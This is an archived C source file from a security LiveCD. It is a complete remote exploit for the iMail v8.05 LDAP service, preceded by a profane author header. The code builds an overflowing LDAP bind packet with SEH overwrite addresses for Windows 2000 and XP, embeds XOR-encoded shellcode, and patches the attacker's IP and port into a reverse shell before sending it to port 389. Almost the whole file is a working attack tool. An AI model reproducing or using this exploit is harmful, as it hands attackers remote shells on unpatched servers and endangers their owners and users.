home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ldap / ldaped.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  8KB  |  247 lines

  1. /******************************************************************/
  2. /* [Crpt] iMail v8.05 LDAP service remote sploit by kralor [Crpt] */
  3. /******************************************************************/
  4. /* fuck iDefense                                                  */
  5. /* fuck k-otik                                                    */
  6. /* fuck private exploits                                          */
  7. /* in other words, fuck you all security money makers and         */
  8. /* private exploits exchangers.                                   */
  9. /* lolo xXx for her patience while these long nights coding       */
  10. /* and for errr.. you know what :)                                */
  11. /******************************************************************/
  12. /* informations: www.coromputer.net,irc undernet #coromputer      */
  13. /******************************************************************/
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <string.h>
  18. #include <windows.h>
  19. #include <winsock.h>
  20.  
  21. #pragma comment (lib,"ws2_32")
  22.  
  23. // EBP+~0xB6 (ebp+ecx-4) (Structed Exception Handler)
  24. #define SEH_ADDR    0x50FFFFFF
  25.  
  26. /* for win2k offset:
  27. --- jmp dword ptr [ebx]
  28. */
  29. #define HIJACKED_2K_EVL    0x0043BD8B        // (8.05 eval)
  30. #define HIJACKED_2K_EXP    0x1000F7B0        // (8.05 express)
  31. #define HIJACKED_2K_PRO    0x1000F7A9        // (8.05 pro (not sure :)))
  32.  
  33. /* for winXP offset:
  34. --- pop esi
  35. --- pop ebx
  36. --- ret
  37. */
  38.  
  39. #define HIJACKED_XP_EVL    0x0041F5C7        // (8.05 eval)
  40. #define HIJACKED_XP_EXP    0x100106BC        // (8.05 express)
  41. #define HIJACKED_XP_PRO    0x100103CC        // (8.05 pro) (not sure :)))
  42.  
  43. // sequence of 4 opcodes
  44. #define HOP            0xd4 // host opcode
  45. #define POP            0xd7 // port opcode
  46.  
  47. int cnx(char *host, int port)
  48. {
  49.     int sock;
  50.     struct sockaddr_in yeah;
  51.     struct hostent *she;
  52.  
  53.     sock=socket(AF_INET,SOCK_STREAM,0);
  54.     if(!sock) {
  55.         printf("error: unable to create socket\r\n");
  56.         return 0;
  57.         }
  58.     yeah.sin_family=AF_INET; 
  59.     yeah.sin_addr.s_addr=inet_addr(host); 
  60.     yeah.sin_port=htons((u_short)port);
  61.  
  62. if((she=gethostbyname(host))!=NULL) { 
  63.     memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length); 
  64.     } else { 
  65.     if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
  66.         printf("error: cannot resolve host\r\n");
  67.         return 0;
  68.         } 
  69.     }
  70.     printf("[+] Connecting to %-30s ...",host);
  71.     if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
  72.         printf("error: connection refused\r\n");
  73.         return 0;
  74.         }
  75.     printf("Done\r\n");
  76.     return sock;
  77. }
  78.  
  79. void banner(void)
  80. {
  81.     printf("\r\n   [Crpt] iMail LDAP service v3.12.10.3/v8.05 remote sploit by kralor [Crpt]\r\n");
  82.     printf("\t\t www.coromputer.net && undernet #coromputer\r\n\r\n");
  83.     return;
  84. }
  85.  
  86. void syntax(char *prog)
  87. {
  88.     printf("\r\nsyntax: %s <host> <your_ip> <your_port> <version> [OSver]\r\n\r\n",prog);
  89.     printf("<version>\t0\t8.05 professional\r\n");
  90.     printf("         \t1\t8.05 express\r\n");
  91.     printf("         \t2\t8.05 evaluation\r\n---\r\n");
  92.     printf("[OSver]  \t0\twindows 2000 universal [default]\r\n");
  93.     printf("         \t1\twindows XP   universal\r\n");
  94.     exit(0);
  95. }
  96.  
  97.  
  98.  
  99. int main(int argc, char *argv[])
  100. {
  101.     int sock,bytes,target,osver=0;
  102.     WSADATA wsaData;
  103.     char buffer[8095];
  104.     unsigned long host,port;
  105.     unsigned int i;
  106.     char req1[] =
  107.     "\x30\x82"    /* bind request            */
  108.     "\x0a\x3d"    /* bind req len            */
  109.     /* msg id    */
  110.     "\x02"        /* integer                */
  111.     "\x01"        /* length                */
  112.     "\x01"        /* value                */
  113.     "\x60"        /* bind request            */
  114.     "\x82"        /* msg length 2bytes    */
  115.     "\x01\x36"    /* msg length            */
  116.     /* LDAP ver */
  117.     "\x02"        /* integer                */
  118.     "\xff"        /* length                */
  119.     "\x03"        /* value                */
  120.     "\x05\x00"    /* DN NULL                */
  121.     "\x80\x00"; /* Auth simple            */
  122.  
  123. char shellc0de[] =   /* sizeof(shellc0de+xorer) == 334 bytes */
  124.     /* classic xorer */
  125.     "\x90"
  126.     "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5b\x80\xc3\x10\x33\xc9\x66"
  127.     "\xb9\x33\x01\x80\x33\x95\x43\xe2\xfa"
  128.     /* reverse remote shell */
  129.     "\x14\x79\x05\x94\x95\x95\x1e\x61\xc0\xc3\xf1\x34\xa5\x95\x95\x95"
  130.     "\x1e\xd5\x99\x1e\xe5\x89\x38\x1e\xfd\x9d\x7e\x95\x1e\x50\xcb\xc8"
  131.     "\x1c\x93\x6a\xa3\xfd\x1b\xdb\x9b\x79\x7d\x38\x95\x95\x95\xfd\xa6"
  132.     "\xa7\x95\x95\xfd\xe2\xe6\xa7\xca\xc1\x6a\x45\x1e\x6d\xc2\xfd\x4c"
  133.     "\x9c\x60\x38\x7d\x06\x95\x95\x95\xa6\x5c\xc4\xc4\xc4\xc4\xd4\xc4"
  134.     "\xd4\xc4\x6a\x45\x1c\xd3\xb1\xc2\xfd\x79\x6c\x3f\xf5\x7d\xec\x95"
  135.     "\x95\x95\xfd\xd4\xd4\xd4\xd4\xfd\xd7\xd7\xd7\xd7\x1e\x59\xff\x85"
  136.     "\xc4\x6a\xe3\xb1\x6a\x45\xfd\xf6\xf8\xf1\x95\x1c\xf3\xa5\x6a\xa3"
  137.     "\xfd\xe7\x6b\x26\x83\x7d\xc4\x95\x95\x95\x1c\xd3\x8b\x16\x79\xc1"
  138.     "\x18\xa9\xb1\xa6\x55\xa6\x5c\x16\x54\x80\x3e\x77\x68\x53\xd1\xb1"
  139.     "\x85\xd1\x6b\xd1\xb1\xa8\x6b\xd1\xb1\xa9\x1e\xd3\xb1\x1c\xd1\xb1"
  140.     "\xdd\x1c\xd1\xb1\xd9\x1c\xd1\xb1\xc5\x18\xd1\xb1\x85\xc1\xc5\xc4"
  141.     "\xc4\xc4\xff\x94\xc4\xc4\x6a\xe3\xa5\xc4\x6a\xc3\x8b\x6a\xa3\xfd"
  142.     "\x7a\x5b\x75\xf5\x7d\x97\x95\x95\x95\x6a\x45\xc6\xc0\xc3\xc2\x1e"
  143.     "\xf9\xb1\x8d\x1e\xd0\xa9\x1e\xc1\x90\xed\x96\x40\x1e\xdf\x8d\x1e"
  144.     "\xcf\xb5\x96\x48\x76\xa7\xdc\x1e\xa1\x1e\x96\x60\xa6\x6a\x69\xa6"
  145.     "\x55\x39\xaf\x51\xe1\x92\x54\x5a\x98\x96\x6d\x7e\x67\xae\xe9\xb1"
  146.     "\x81\xe0\x74\x1e\xcf\xb1\x96\x48\xf3\x1e\x99\xde\x1e\xcf\x89\x96"
  147.     "\x48\x1e\x91\x1e\x96\x50\x7e\x97\xa6\x55\x1e\x40\xca\xcb\xc8\xce"
  148.     "\x57\x91\x95";
  149.  
  150.     banner();
  151.  
  152. if(argc<5||argc>6)
  153.     syntax(argv[0]);
  154.  
  155.     host=inet_addr(argv[2])^0x95959595;
  156.     port=atoi(argv[3]);
  157.  
  158.     if(!isdigit(argv[4][0])||strlen(argv[4])>1) {
  159.         printf("error: <version> must be one digit\r\n");
  160.         syntax(argv[0]);
  161.         return -1;
  162.     }
  163.     target=atoi(argv[4]);
  164.     if(target<0||target>2) {
  165.         printf("error: <version> must be 0, 1 or 2\r\n");
  166.         syntax(argv[0]);
  167.         return -1;
  168.     }
  169. if(argc==6) {
  170.     if(!isdigit(argv[5][0])||strlen(argv[5])>1) {
  171.         printf("error: [OSver] must be one digit\r\n");
  172.         syntax(argv[0]);
  173.         return -1;
  174.     }
  175.     osver=atoi(argv[5]);
  176.     if(osver<0||osver>1) {
  177.         printf("error: [OSver] must be 0 or 1\r\n");
  178.         syntax(argv[0]);
  179.         return -1;
  180.     }
  181. }
  182.     if(port<=0||port>65535) {
  183.         printf("error: <port> must be between 1 and 65535\r\n");
  184.         syntax(argv[0]);
  185.         return -1;
  186.     }
  187.     port=htons((unsigned short)port);
  188.     port=port<<16;
  189.     port+=0x0002;
  190.     port=port^0x95959595;
  191.  
  192. for(i=0;i<sizeof(shellc0de);i++) {
  193.     if((unsigned char)shellc0de[i]==HOP&&(unsigned char)shellc0de[i+1]==HOP)
  194.         if((unsigned char)shellc0de[i+2]==HOP&&(unsigned char)shellc0de[i+3]==HOP) {
  195.             memcpy(&shellc0de[i],&host,4);
  196.             host=0;
  197.             }
  198.     if((unsigned char)shellc0de[i]==POP&&(unsigned char)shellc0de[i+1]==POP)
  199.         if((unsigned char)shellc0de[i+2]==POP&&(unsigned char)shellc0de[i+3]==POP) {
  200.             memcpy(&shellc0de[i],&port,4);
  201.             port=0;
  202.             }
  203.     }
  204.  
  205. if(host||port) {
  206.     printf("error: unabled to find ip/port sequence in shellc0de\r\n");
  207.     return -1;
  208.     }
  209.  
  210. if(WSAStartup(0x0101,&wsaData)!=0) {
  211.     printf("error: unable to load winsock\r\n");
  212.     return -1;
  213.     }
  214.  
  215.     sock=cnx(argv[1],389);
  216. if(!sock)
  217.     return -1;
  218. /* <----- magic packet -----> */
  219.     strncpy(buffer,req1,13);
  220.     memset(&buffer[13],0x90,7010);
  221.     *(unsigned long*)&buffer[13] = SEH_ADDR;
  222.     if(!osver) {
  223.     if(!target)
  224.     *(unsigned long*)&buffer[17] = HIJACKED_2K_PRO;
  225.     else if(target==1)
  226.     *(unsigned long*)&buffer[17] = HIJACKED_2K_EXP;
  227.     else
  228.     *(unsigned long*)&buffer[17] = HIJACKED_2K_EVL;
  229.     } else {
  230.     if(!target)
  231.     *(unsigned long*)&buffer[17] = HIJACKED_XP_PRO;
  232.     else if(target==1)
  233.     *(unsigned long*)&buffer[17] = HIJACKED_XP_EXP;
  234.     else
  235.     *(unsigned long*)&buffer[17] = HIJACKED_XP_EVL;
  236.     }
  237.     *(unsigned long*)&buffer[21] = 0x90909013; // to avoid 0x00 <unwanted instructions> on winXP
  238.     memcpy(&buffer[200],shellc0de,sizeof(shellc0de)-1);
  239.     memcpy(&buffer[7000+23],&req1[10],4);
  240.     printf("[+] Sending magic packet                         ...");
  241.     bytes=send(sock,buffer,sizeof(buffer)-1,0);
  242.     printf("Done\r\n");
  243.     if(bytes==0) { printf("error: send()\r\n"); }
  244.     closesocket(sock);
  245.     return 0;
  246. }
  247.